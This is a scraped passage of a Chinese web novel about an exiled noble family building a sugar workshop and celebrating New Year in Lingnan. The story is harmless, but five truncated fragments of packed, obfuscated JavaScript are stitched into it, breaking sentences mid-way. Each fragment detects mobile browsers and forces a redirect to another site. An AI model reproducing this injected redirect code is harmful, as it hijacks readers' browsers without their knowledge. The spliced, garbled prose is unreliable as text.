李氏轻拍着她的手道:“晴儿,你只要记住一件事,听你嫂子的,你嫂子让你做什么,就做什么。” 从一个农家女,嫁入忠勇侯府,流放路上,还能将日子过好。 现在将糖坊、酸菜的生意都做的有声有色的,李氏相信,假以时日,程七七以后还能过上好日子! 自家女儿只要好好跟着程七七学,学到个一二分,便足够应对了。 …… “小娘,你说程七七她是不是故意的?” 靳雪儿拿着钱,数来数去,就只有最后五天的工钱,一百文钱! “还说我是小姑子呢,怎么就只给我二十文钱?” 靳雪儿不满极了,林惠兰打断道:“雪儿,你不想舂米,包酸菜那不舒服多了?” “有什么舒服的?” 靳雪儿没好气的说着:“小娘你是没看到,码头那边扛包的大汉,盯着我跟晴儿的目光,都恨不得将我们吃了!” 抛头露面,才拿二十文钱一天。 “那,到时候想法子,你去糖坊?” 林惠兰怂恿的说:“冷屿好像还没成亲。” “小娘。” 一说起这个,靳雪儿都有些不好意思。 “你也别害羞,侯府要是还没倒,凭着侯府千金的身份,姓冷的给你提鞋都不配,但现在……” 林惠兰看着她道:“这几年,我看着都没有东山再起的希望,你还是要尽早打算。” “小娘,侯府真的不能**吗?” 靳雪儿柳眉紧紧的蹙了起来。 自从上回送了物资之后,床上的褥子也没那么硬了,她的衣箱子里,多了两身衣服,她也偷偷碰上过爹见着重山和那个大胡子! 她总觉得,或许,有东山再起的机会呢? “我也想**。” 林惠兰叹了一口气。 靳雪儿不想说话了,小娘这个妾室的身份,在府里,还算不错,如今……那是一问三不知了。 她,还是得为自己打算。 …… 腊月二十九,没有大年三十的除夕到了! 往年今日的靳家人,府里早早的就张灯结彩的,厨房里更是各种各样的好菜都备上了。 新衣裳更是裁了一身又一身。 靳雪儿低头,看了一眼身上的花棉布衣裳,跟她以前上身最好的织花锦缎相比,甚至连以前丫鬟都穿得比她现在好呢。 再一看,晚上的年夜饭。 “野鸡汤、炒野兔子、酸菜鱼、酸萝卜、白菜、豆芽。” 六个菜,是她出生以来,吃过最寒酸的年夜饭了。 “三个荤菜,真不错。” 靳老夫人看着三个荤菜,满意的点头道:“我们以前穷的时候,一大家子,有半斤肉吃,都算日子好了。” “来,庆祝一下我们流放都活下来了,以后,我们都会平平安安的,越来越好的。” 靳老夫人端着甘蔗汁道:“明年会更好!” “对,明年会更好。” 忠勇侯端着起了镇上打的烈酒,酒香少,烈的很。 “大难不死,必有后福!” 柳素仪端着烈酒,喝了一口,一家团聚,唯独少了她的墨儿。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262349|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “以后,我们的日子,会越来越好的!” 程七七知道婆婆心里想儿子了,正想着怎么安慰,就见喝了酒的柳素仪,咧嘴笑着:“还好,我们都平平安安的到岭南了,七七,安安,你们都是有福气的。” “以后你就是娘的亲生女儿!” 喝了酒的柳素仪,脸上似染上了一抹红霞。 “素仪,老天爷垂怜,福气还在后头呢。” 忠勇侯都快憋**,儿子还活着的消息,他不能说了,只能隐晦的提醒着。 “是,福气还在后头呢。” 那你能让我儿子活过来吗? 柳素仪的话在脑海里震耳欲聋的,看着忠勇侯的目光,那是忍了又忍。 大过年的,她不想提这个,让大家都不高兴! 墨儿要是知道了,肯定也会不高兴的。 柳素仪深吸了一口气,没有再喝酒,而是端起旁边的甘蔗汁道:“七七,你做的甘蔗汁真甜,等明年春天了,娘再给你做新衣裳。” “还有我们小安安。” 柳素仪努力让自己高兴。 程七七也有意哄着柳素仪,让安安哄柳素仪开心,靳岁安一口一个奶奶,黏着柳素仪,把柳素仪逗的高高兴兴的。 靳家旁支人更是指着程七七,明年带着他们挣钱! 同时,也指着忠勇侯,带着他们多打猎一些东西,让他们没钱买肉的时候,也能吃上一点荤菜。 靳砚之改变最大,嘴甜的把大家哄的高高兴兴的。 林惠兰和靳雪儿看着这一幕,母女两个埋头吃菜。 “嫂子,明年我一定好好卖酸菜,酸萝卜,保准我们的酸菜酸萝卜,在到全潮生县都知道。” 靳砚之一改之前的纨绔形象,恨不得立刻去卖酸菜了,这种靠自己双手挣钱的感觉,真不赖! 唔,嫂子做的菜真好吃! “礼哥,你说,我怎么才能天天吃上嫂子做的菜呢?” 靳砚之苦恼的求助着每天一起卖酸菜的兄弟靳礼之。 “爹一直不松口让我们一家一块吃。”靳砚之每天吃着林惠兰做的菜,只觉得每天的饭菜都不香了。 “其实,有一个办法。” 靳礼之欲言又止。 第81章 都怪靳礼之 “什么办法?” 靳砚之的眼睛亮晶晶的,看着靳礼之追问道:“以后,我能不能吃上好吃的,就看兄弟你了!” 靳砚之搭在靳礼之的肩膀上。 靳礼之温温吞吞的吐出一句话,转身就跑了。 月光下,靳砚之的身影拉的很长很长。 靳砚之呆呆的站在原地许久,一直回到房间,躺在床上,靳砚之还是呆呆的! 正月初一,靳家人团圆了一天,纳鞋子的纳鞋子、绣帕子的绣帕子、劈柴的劈柴,主打一个谁都有活干,不闲着。 “靳砚之,你……” 程七七刚开口想让靳砚之过几天去卖酸菜和糖醋萝卜的时候,试一试能不能一碗一碗的卖,让大家自己带碗。 谁知道,她一开口,靳砚之就飞快的说:“嫂子,我还要去山上砍柴。” 话落,靳砚之飞快的就跑了。 “……” 程七七看着仓皇离去的背影,忍不住嘴角抽了抽,她是豺狼虎豹吗? 跑得这么快? “娘,你,你这屏风就绣了一半了?” 程七七看到柳素仪手里的屏风画,完全都惊呆了,再看一眼孟静瑶她们的进度,明显比柳素仪进度更慢一些。 “我还要绣荷包,自然得赶紧把屏风画赶出来了。” 柳素仪手掂着绣花针,上下翻飞,还能抽空跟程七七说话呢,道:“七七,你放心,我肯定能元宵前就绣出来的。” “娘,你可要注意眼睛。” 程七七看着柳素仪把所有的时间都放到绣花上,都担心她的眼睛。 “放心,我的眼睛不用怎么看。” 柳素仪笑着回答着。 程七七仔细看了看,柳素仪一边聊天,还能不绣错,嗯,这也是本事! 正月初二、初三…… 程七七明显感觉到靳砚之在躲她。 难道她发的工钱,太少了? 程七七没有多想,反正靳砚之爱干不干,卖酸菜这么挣钱的活,他不干,有得是人干! “呼。” 靳砚之又一次躲开了程七七的目光,他懊恼的回头看了一眼程七七忙碌的背影,都怪靳礼之跟他说的话。 …… 正月里闲着没事,程七七又腌制好了一大缸的酸菜,酸萝卜也是腌制了一大缸。 大概是因为糖坊的事情,程七七在村子里购买芥菜,萝卜,还是挺方便的。 “爹,今年,我们种地吗?” 晚上,程七七好奇的询问着。 “要种的。” 忠勇侯道:“我们一人十五亩地,等春天到了,就要去田里忙活了。” “十五亩,这么多?” 程七七都惊呆了。 忠勇侯道:“我们家里,只有我跟砚之有,旁支几房,也只有男丁有田。” ‘……’ 程七七沉默了,她现在理解,为何以前的人要生儿子了! “三十亩地,县里会发稻种,农具,我们种完之后,交上粮赋,或许,还能余上一些。” 忠勇侯都几十年没种地了,为了开春种地的事情,都刻意的跟庄里正,还有赵黑打招呼。 粮赋,靠天吃饭,如果年成不好,没有风调雨顺的话,怕是要倒贴了。 “这么一看,地少点也好,真多了,我们也种不过来。” 程七七心底已经琢磨着,是不是该借口爹娘以前种地好手,来想法子种地? “七七,你放心,你爹和大伯他们都会种地,我们到时候搭把手就行。” 柳素仪怕她担心,笑着开口安慰。 “娘,到时候我想法子买点肉,这样,种地干苦活,也就不怕了。” 程七七想着她兜里的一百两银子,那得花在刀刃上才是! 正月初四,糖坊就开工干活了。 管训场那边,忠勇侯等人也开始干活了。 “程七七,重山那边有消息吗?糖有人买吗?” 冷婆子一见着程七七,就忍不住开口询问着,过年的时候,冷婆子都在担心这个事。 上等的琥珀糖是很好,但,四十八文一包,也是真的贵! 眼看着甘蔗地里大丰收,他们又花了六十两银子,将附近村民们种的甘蔗,全部都买下来了,她这心里啊,突突的! 万一,糖卖不出去,砸手里了,那就白忙活了。 “暂时还没有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262350|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 程七七解释道:“重山一次可能要走两三个州府,这么一来回,可能要大半个月了。” “两三个州府?” 冷婆子蹙起了眉头道:“七七,要不先在一个地方试卖,或者,就在安南州卖,卖得好了,再去别处。” “冷婆婆,一包糖卖四十八文钱,要卖多少糖,才能卖出三四百两银子?光靠一个府城,肯定是不够的。” “既然出门卖货,那自然是要多拿到订单,到时候我们就好送货。” “我们现在要做的就是,多做琥珀糖,琉璃糖,到时候重山回来了,说不定,就需要很多的货了。” 程七七几句话下来,她的镇定与笃定,让冷婆子心底有危机感了,万一重山回来,就要带很多货走,那他们可要努力了! 第一道甘蔗汁,是最容易出琥珀糖的,不行,她得让小屿好好去盯着。 别说冷婆子,就是程七七也是一直盯着,手里一直在记录着熬糖的情况,一年靠卖糖,达成四五百两银子的事情,那可不是一件简单的事情。 必须要熬出更多的琥珀糖来! 她有预感,想要挣钱,还得靠琥珀糖和琉璃糖。 新年第一锅糖,上等的琥珀糖出了四锅,看着这情况,程七七总算是松了一口气! 不错不错! 程七七放心的就去看看她的甘蔗醋了,经过七八天的发酵,她已经闻着酒香了! 看着酒液表面,有一层白白的菌膜,她没有再去搅拌了。 再等些日子,就能变成醋了。 程七七小心的盖上,这批甘蔗醋酿成了,或许,岭南人肯定会喜欢的! 岭南这边海鲜这么多,配上一点醋,那不是特别香? 带着这样的想法,程七七每天的心情都是格外的好。 “三叔,等会。” 程七七这日准备离开糖坊了,就见着靳三叔将尾汁准备倒了。 “这是要倒掉了?” 程七七看到这最后的尾汁似乎要直接倒掉,连忙开口。 “这是最后一遍的尾汁,也没什么甜味了,倒掉。” 靳三爷解释着,他在糖坊也干活好些日子了,这些掺了水的尾汁,已经不值得再熬糖了。 第82章 倒了多少尾汁,都是钱啊 “程夫人,尾汁就剩下一点甜味了,大家带点回家当糖水喝,剩下的,只能倒掉了。” 冷岛解释着,道:“三爷已经给你们都带了一大桶了!” “你们没想过,拿尾汁去卖钱?” 程七七问。 “这,还能卖钱?” 冷岛愣住了,从他有记忆起,最后一道的尾汁,都是带回家喝的。 要么就是直接倒掉。 从小到大,带着淡淡甜味的甘蔗水,他都不知道喝多少了。 “为什么不能卖?” 程七七再尝了一口:“淡淡的甜味,我们可以加一点点的红糖,再加上萝卜煮水,肯定好喝又补充体力!” 特别是码头的的工人们,补充糖分,那是非常需要的。 “今天先试试,如果可以,明天就可以安排人去县里的码头卖。” 程七七话音方落。 冷婆子就已经安排人去拿萝卜了,同时,领着她去旁边的大锅边了,不是三连锅,而是隔壁冷家。 “甘蔗萝卜水,还能好喝?” 冷婆子有些好奇,她的满脑子只有这么一件事情,能卖钱! “试就知道了。” 程七七说着,直接切萝卜,加了一小块红糖,加入到尾汁里,很快,一锅红糖甘蔗尾汁萝卜水就出锅了。 一大锅的甘蔗萝卜水,味道是淡淡的甜味,很好喝! “大家都来试试,如果一文钱一碗,会有人喝吗?” 程七七开口询问着。 糖坊既然是大家的糖坊,那么,大家对于糖坊的事情,那都是格外的上心。 正好,大家忙活了一天,也累了,一口糖水喝下去,一天的疲惫,好像都消失个七七八八了! 大家也没闲着,带回家去继续给家人尝一尝,要是行,明天下午就安排人去县里卖糖水。 “老三,你这挑的是什么?” 忠勇侯管训场里回来,看着靳三爷挑着一桶水回来。 “二哥,这是甘蔗萝卜水,七七说,能卖钱。” 靳三爷乐呵呵的,如今儿媳妇怀孕了,他就盼着多挣点钱。 “糖坊里的人,都分了不少,大家都尝尝看。” 晚上,靳家人都喝上甘蔗白萝卜水,淡淡的甜味,还带着蔗香,又混着白萝卜的甜味,喝起来,比普通的糖水,要更好喝一些! 翌日,糖坊的人一致决定煮一大锅的尾汁,送到县里去卖。 一大缸子,一两百碗是有的,这要是一文钱一份,能卖出去,那岂不是跟白捡钱一样? 那么一大缸子的尾汁,那是不要钱的,成本就是一点萝卜,几小块红糖,约等于不要钱呢。 庄里正非常谨慎,安排了三个人,一个是他儿子,庄海潮,一个是冷焦,还加了一个大房的靳祠之。 砍樟木,他是越来越干不了了,于是,靳大爷便想法子,让靳祠之进了糖坊。 谁知道,刚来第一天,就被派去卖糖水了。 靳祠之想着大哥靳礼之每天卖酸菜,也不难吧? 于是,很快他们就推着一大缸的甘蔗白萝卜水去县城的码头了! 糖坊给这糖水取了一个很好听的名字,白甘水。 糖坊里,冷婆子每日看着越来越多的琥珀糖,全部一包一包的装好,最后码好装进编好的竹筐里,用大的防油纸好好包裹着。 眼看着仓库里的红糖一天比一天多,冷婆子每天都期待着,重山赶紧回来! 同时,也担心着,万一重山一块糖都卖不出去怎么办? 冷婆子恨不得对程七七每日一催的。 “冷婆婆,左右不过是浪费一点柴禾,糖水卖不掉,也不打紧。” 程七七安慰着。 “重山,还没回来吗?” 冷婆子一言难尽的看着程七七,她哪里担心那锅不要的尾汁了? 她担心的那是出去卖红糖的重山啊! “满打满算,重山出门,还不到十天。” 程七七掰着手指头数着,重山是过了小年之后出去的,现在才正月初五! “我就问问。” 冷婆子朝着庄里正使了一个眼色。 庄里正乐呵呵的说:“冷家大嫂,你就放心吧,靳家人,都有本事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262351|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪个流放的犯人,还能帮村子里挣钱的? 还有糖坊之前被砸,因为孔家的事情,要不是靳家想法子出面,糖坊这会没了,他们村子里损失了糖坊,那就少了挣钱的机会啊! 当初他多撒网是对的,这不,就网到了靳家人? 庄里正背着手,就哼着小调出去了,隔壁几个村的里正,苛待着流放的犯人,他才不呢! 流放的犯人,也不是个个穷凶极恶的,总有被冤枉的! 他们以前是大人物,瘦死的骆驼还比马大呢。 冷婆子:“……” 好,靳家人有本事。 就她着急。 冷婆子瞪了庄里正离去的背影一眼,转身就去糖坊忙碌了起来。 程七七倒是格外好奇,糖水,应该可以卖得动吧? 昨天安安都特别爱喝呢。 忙碌的时间容易过去,等靳祠之、冷焦和庄海潮三个人回来的时候,就带着空缸回来了,同时还带着……沉甸甸的铜钱! 靳祠之这下能体会到,为什么大哥每次去县里卖完酸菜回来,都会傻乐了! 腰间挂着沉甸甸的荷包,装着满满的铜钱,那一种说不出来的幸福感,真的太快乐了。 会上瘾。 靳祠之读过书,因此,记账的事情就归他了,今天卖出去多少杯糖水,挣了多少钱,他全部都记录的清清楚楚的。 庄里正和冷婆子两个人见着他们回来,立刻就迎了过年,看着空缸,看着递来的铜钱,他们直接就数了起来…… “尾汁没花钱,放了五小块红糖,也就十来文钱,萝卜十几文钱……” 冷婆子粗略的算了一下,随即就震惊了,“这,这相当于白挣了二百文钱!” “一天二百文,十天二千文,一个月就是六千文。” 庄里正也惊呆了,这,不是说不要的尾汁吗? 庄里正看向冷婆子,那眼神仿佛在说:冷家人可真大方,这不要的尾汁,每天倒,那都倒掉了多少钱了? 冷婆子反正肠子都悔青了,看似最没用的尾汁,没想到,居然也能挣不少钱? 冷家倒了多少年尾汁…… 第83章 好兄弟 甘蔗尾汁,煮萝卜水,卖糖水,居然又卖了二百文钱的消息,瞬间就传遍了整个糖坊,也传遍了整个归化里村! 翌日,程七七去糖坊的时候,大家热情的打着招呼:“程娘子。” 本来,大家都要喊程夫人或者是靳少夫人的,但是呢,程七七义正言辞的纠正了。 她还是一个犯人,要是让外人听到,岂不是欲加之罪? 她在糖坊,以她娘家的姓氏出面,明面上,也让靳家跟糖坊没有任何的关系。 一路上到了糖坊,程七七凡是碰上人了,那都热情的打着招呼。 “七七,看来,大家昨天看到废弃的尾汁糖水都卖钱了,大家都高兴呢。” 温氏不傻,这些村民们之前加入了糖坊之后,就对程七七挺热情的。 但,随着糖坊一直没有挣钱,村民们又变得没那么热情了。 今天,又对着程七七热情,那是因为那些原本废弃的尾汁,现在换成真金白银了,态度,自然就热情了! 看着二百文钱不多,但,一天二百文钱,以后还能挣得更多,那可不就让大家有盼头了! “能挣钱,安安稳稳的过上好日子,应该是所有人的期盼。” 程七七微笑着,村里人的态度,她很清楚,同时,她会更加警醒着,不管做什么,她都要三思而后行! 糖坊。 从前最看不上的尾汁,今天也是特意留了一个锅灶,让尾汁变糖水,今天继续去卖糖水。 程七七则是继续记录着榨汁的情况,熬糖的情况,比如说,糖熬到哪个程度,不是凭手感,而是凭着一个标准。 她要做一个标准的糖度尺,挂尺几格,什么样的糖才是真正的上等糖,而不是全凭经验,觉得怎么样是好糖就是好糖。 忙碌的日子容易过,糖坊在她的几次改进下,上品糖的出糖率慢慢的提升了,仓库里的上品琥珀糖已经是堆成小山了,大家一想着四十八文钱一小包。 这一箱呢,足足有二百包糖,就是九千六百文钱,如今这都堆了十箱了,这,就相当于十两银子了? 除掉成本,那也能挣上五六两呢! 这还只是上品琥珀糖,中等的琉璃糖更多,有三十几箱,普通的赤糖最多,将近一百箱了! 他们忙活了大半个月呢,三个三连灶,九口锅,连元宵节都没敢休息,赶出来的货。 这货多了,钱也就挣得多了,但,一直堆在仓库,卖不出去,就没有钱啊! 元宵之后,师傅们的手艺,越来越娴熟了,这琥珀糖做的越来越多不说,其它的糖,也是越来越多了! 如今还没到春播,田里的活,大家也还没开始干呢,可不卯着一鼓劲就想要多砍甘蔗,多榨糖,多挣钱吗? 糖坊新招了不少村里人,糖做的多了,一文钱没看到,大家的心里也开始着急了。 也幸好有糖水,每天进账三百文。 “七七,这都过去二十多天了,重山那里,不会放鸽子吧?” 冷婆子也有些着急,糖坊里的糖做的比他们曾经做的还要好,老头子瘫在床上,也让她要好好听程七七的话。 能做出这样好的糖,哪怕只拿三成的利润,也比从前挣钱。 可,这糖一直堆在仓库里,也不是个事。 “不会。” 程七七笃定的说着,道:“冷婆婆,我们目前做的糖也不算多,我还想要多做一些,不然的话,等重山过来,我们货不够卖怎么办?” 她对自己制的糖是非常有信心的! 在京都,这样的糖都能被抢着买,更别说是其它府城了。 “不够卖?” 冷婆子看着她,倒吸了一口气道:“你知道现在每天的产量吗?” “当然。” 程七七微笑着,她每天都在糖坊,自然是清楚的,同时,也是对重山有信心的,她道:“冷婆婆,你只要好好包装着糖就行,千万不能以次充好!” “我们的糖交出去,就需要做到最好!” 程七七提醒道:“做生意最讲究的是诚信,以次充好,起初或许人家不会察觉,但随着时间的推移,那肯定也是不好的!” “坏了口碑,以后我们再好的糖,人家也不信任了。” 程七七在质量上,那是来格的把控的。 毕竟三种糖的价格,相差还是很大的。 < ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262352|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你放心,我知道怎么做。” 冷婆子看她这般镇定的模样,便放心了。 傍晚,庄里正也特意找了个理由来了:“三天后,就是退大潮了,我们可以去赶海,捡很多鱼虾了。” “每次退潮的时候,能捡到不少好东西呢!” 庄里正怕他们不懂,特意解释着。 他们也是靠海的,但,和真正靠海的那些渔民也不太一样。 他们去海边,坐马车,也得半天的时间呢! “庄里正,谢谢你告诉我们这个好消息。” 忠勇侯高兴的说着,如今他们钱也有不少,但,儿子那边想要查证据**,那处处都是要用钱的时候! 他们退潮的时候,能捡些鱼虾,晒成干之后,也能当菜吃,小鱼小虾,味道也是不错的! “靳兄,我们都是自家人,别说这外道话。” 庄里正笑眯眯的,跟着忠勇侯称兄道弟的。 忠勇侯的眉微不可查的挑了挑,要不是他能带着村里的后生打猎,要不是儿媳妇着大家在糖坊挣钱,他们还能这么好? “庄里正说的是,重山那边已经给消息了,正在回来的路上,糖已经预订出去很多,重山说,让糖坊赶紧备货。” 忠勇侯知道庄里正想知道什么消息,直接开口。 “真的?” 庄里正听着这话,眼底的笑容更深了! “当然。” 忠勇侯肯定的说道:“大家挣钱了,我们的日子,也就会越好过。” 如今糖坊还没开始挣钱呢,管训场的赵黑,对他们就更加松懈了,比如说,分派的工作,不再是辛苦的砍樟树的活了。 而是跟着赵黑身边,干一些轻省的活,闲下来就去山里打猎。 女眷们也不再进舂米磨面这些活,而是一些缝缝补补,要么就是在糖坊里干些轻松的活。 就连亲娘靳老夫人和怀孕的高胜兰,也没在家里闲着,接了缝补城卫们衣服的活。 “好兄弟。” 庄里正迫不及待的就去把这个好消息告诉冷家人了,趁着还没春播,必须让糖坊多做一些糖。 第84章 爷爷很辛苦的 “爹,你可真厉害,都成犯人了,还能跟一村里正称兄道弟的。” 靳砚之卖了酸菜和糖醋萝卜回来,看到这一幕,崇拜的看向自家亲爹。 “呵。” 忠勇侯冷笑着睨了他一眼:“要是你爹不会打猎试试?要是你嫂子不能帮糖坊挣钱试试?” “……” 靳砚之摸了摸鼻子,站直了身子道:“爹,我一定会多挣钱的,让别人不能再小看我们!” 和在京都是细皮嫩肉的纨绔子弟不一样,现在的靳砚之黑了,皮肤都比以前糙了,但是人看着更加精神了。 没有那花花绿绿的衣裳,人也精神了,眼睛都更有神了,忠勇侯眼中欣慰一闪而过,随即道:“听你嫂子的话,好好卖酸菜!” “爹,我一定好好干。” 靳砚之就像是打了鸡血一样,从小到大,只会被嫌弃的他,居然也有被亲爹鼓励的时候呢? 这种感觉……还真不赖。 靳砚之高兴的出门,正碰上回来的程七七了,他笑靥如花:“嫂子好。” “我去捡柴了。” 靳砚之高高兴兴的拿着砍柴刀就出门了。 程七七:“……” 这人有毛病吧? 前几天,看着她就像是看到母老虎一样,眼神闪躲着。 今天又笑得跟傻子一样? 程七七没理会,而是进屋道:“爹,刚刚我碰上庄里正了,他说,重山要回来了?” “对,刚刚收到飞鸽传书,糖坊,多备些糖。” 忠勇侯将纸条递了上前。 飞鸽传书,字不多,但内容精简。 “好,明天我就让糖坊继续熬糖。” 程七七的心,这会才算是放在肚子里了。 “七七,庄里正说,三天后,就要退大潮了,到时候,我们看看谁想去,大家多捡些鱼来吃,晒干了能留很久。” 忠勇侯的话,让程七七立刻道:“我们也去。” 作为一个不靠海的南方人,程七七最喜欢的就是赶海了,每次看着赶海的视频时,那叫一个眼馋呐! 可惜,穿越后,远在京都,困在侯府里,哪里都去不了。 流放后,到了岭南,海是远远的看到了,但也不能开心的玩水,更别提赶海了。 “七七,那,什么时候去交屏风,还有荷包?” 晚饭时,柳素仪道:“荷包我明天就能绣完,屏风我们都绣的差不多了。” “明天我要去糖坊,那就后天。” 程七七说着,问:“娘,你荷包和屏风一起绣,都绣完了???” 自家婆婆绣的可比别人多一个荷包呢! 还是双面绣的。 “我在家里什么活都不用干,醒来就绣,自然是绣的快些。” 柳素仪没说她为了绣好屏风和荷包,那可是连水都少喝,就怕总去茅房了。 程七七特意去看了一看,一面蝴蝶,一面你芙蓉花的荷包,真的是太漂亮了。 起初程七七还想着,双面绣的荷包,里面绣的这么好看,别人又看不到,这有什么用? 但现在一看,她还是想的太简单了。 荷包挂在腰间是看不到,可,一旦你需要用的时候,一扯开荷包,里面的芙蓉花,就清晰可见! “真漂亮。” 程七七惊喜的不行,看看蝴蝶,又看看芙蓉花,忍不住夸赞道:“还真的两面不一样的图案,最主要的是,这针脚细密的很!” 穿越到古代之后,程七七也学了一点针线活,但,真的丑到不行。 柳素仪看着她这欢喜的模样,心想着,给七七也绣一个。 翌日,程七七再到糖坊,冷婆子见到她,那叫一个高兴,不停的打听着重山那边卖出了多少货。 程七七哪知道? 于是,程七七含糊着,只说为了以后的发展,要扩建糖坊,趁着甘蔗还没完全收获,买到更多的甘蔗,做更多的好糖出来。 糖坊的人,干劲十足的。 程七七在糖坊都觉得,大家就像是打了鸡血一样。 当天晚上,程七七就准备明天去县里交货了,她道:“娘,你们要不要去县里走走?” 流放之后,女眷去县里的人不多。 “去。” 柳素仪想给七七买个好点的料子,给她绣个好看又耐用的荷包。 “七七,我们也能去看看吗?” 林惠兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262353|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趁机开口,她目光紧盯着程七七,绣楼的价格,可一直都是程七七去谈的,她该不会昧她们的钱吧? “行啊。” 程七七应下,她们自己去的话,也可以挑自己能绣的活,她还省事了。 一旁的忠勇侯道:“你们都去,明天不上工了?” “老爷,我,我来岭南都三个多月了,还没去过县里呢。” 林惠兰眼巴巴的看着忠勇侯,声音里都透着委屈道:“我吃点苦不怕,但砚之和雪儿,衣服都补了好几回了,我想买块料子……” 林惠兰仿佛又恢复了府里那温温柔柔解语花的模样。 忠勇侯蹙眉道:“你想买料子,让素仪和七七带不就行了?” “我不带。” 柳素仪果断拒绝道:“我怕是有些人想去绣楼看看,这价格,是不是骗人的吧?” 柳素仪嘲讽的眼神看向林惠兰,她心里的那点小九九,她可门儿清着呢! “老爷,我没有。” 林惠兰眼底的心虚一闪而过,她的声音柔弱无骨的。 “没有就不用去了。” 忠勇侯一句话,没有再看林惠兰,而是想着这春播要开始了,怎么想法子,多弄点田地呢? “……” 林惠兰看着他离去的背影,一口气堵在心口处。 翌日,程七七和柳素仪结伴去县里。 “娘,昨天林姨娘想去县里,可真是被你能戳中心思了。” 程七七小声的跟柳素仪说着。 “放心,她要是敢怀疑,我就让她自己干活去。”柳素仪冷笑一声,以前的事情,还没好好算账呢! “娘,我能吃一颗糖葫芦吗?” 靳岁安伸出一根手指头,然后从她的小荷包里掏出了三文钱道:“我想买糖葫芦!” “爷爷给我钱了!” 靳岁安坐在板车上,戴着笠帽的她,格外可爱。 “安安想吃就买。” 柳素仪看着那三文钱道:“你爷爷可真小气!”给孙女就三文钱? “奶奶,爷爷给我多多的钱,我没要。” 靳岁安奶声奶气的声音,认真的维护着爷爷:“爷爷很辛苦的!” 第85章 老天爷都看不过眼 “哎呦,我们安安怎么这么乖啊!” 柳素仪抱着靳岁安亲了一口,香香软软的乖孙女,还懂得心疼爷爷的乖孙女,可是太让人心疼了。 “你爷爷辛苦挣钱,也是想让安安过上好日子的,安安想吃几串糖葫芦都行!” 柳素仪抬手替安安理了理头发道:“安安,奶奶有钱!” 她的孙女,怎么能连吃几串糖葫芦都舍不得呢? “走。” 柳素仪领着靳岁安就去买糖葫芦了,不止买糖葫芦,还买了一些点心。 程七七看着这一幕,欣慰的笑了,她的女儿,虽然没有爹爹疼,但有爷爷奶奶,叔叔疼。 “走,快点。” 衙役的声音响起,程七七往旁边站了站,一回头,就看到衙役似乎赶着几名犯人出城了。 “抓的好,都是不干好事的!” “为民除害。” 程七七听着旁边百姓们的窃窃私语着,程七七不用打听,也知道这些犯人,肯定没干好事了。 “嫂子,我们离远一点。” 靳礼之开口,推着马车,挡在程七七的身边护着。 “嗯。” 程七七心里牵挂着旁边的柳素仪和女儿,也没多看,忽然,眼角余光一瞥,看到两张眼熟的面孔的时,她的嘴角勾起一抹嘲讽的笑容! 还真是抓得好呢! “靳礼之,你回去好好跟你家胜兰说说,上次欺负我们的地痞被抓起来了,胜兰听了肯定高兴。” 程七七说着,给靳礼之提醒了哪两个人。 靳礼之看了一眼,恨不得冲上前去,狠狠的揍上一顿。 “看来,老天爷都看不得他们欺负弱小。” 程七七的心情格外的好。 “娘,吃糖葫芦。” 靳岁安得了糖葫芦,高兴的给程七七的递了过去,她自己都一边咽着口水,但还是先给程七七。 “乖,安安先吃。” 程七七接过糖葫芦,直接送到了靳岁安的嘴边,让她先吃。 “真甜。” 靳岁安吃了一个,就分给程七七一个,然后就分给柳素仪一个,让柳素仪更是高兴。 洪记绣楼。 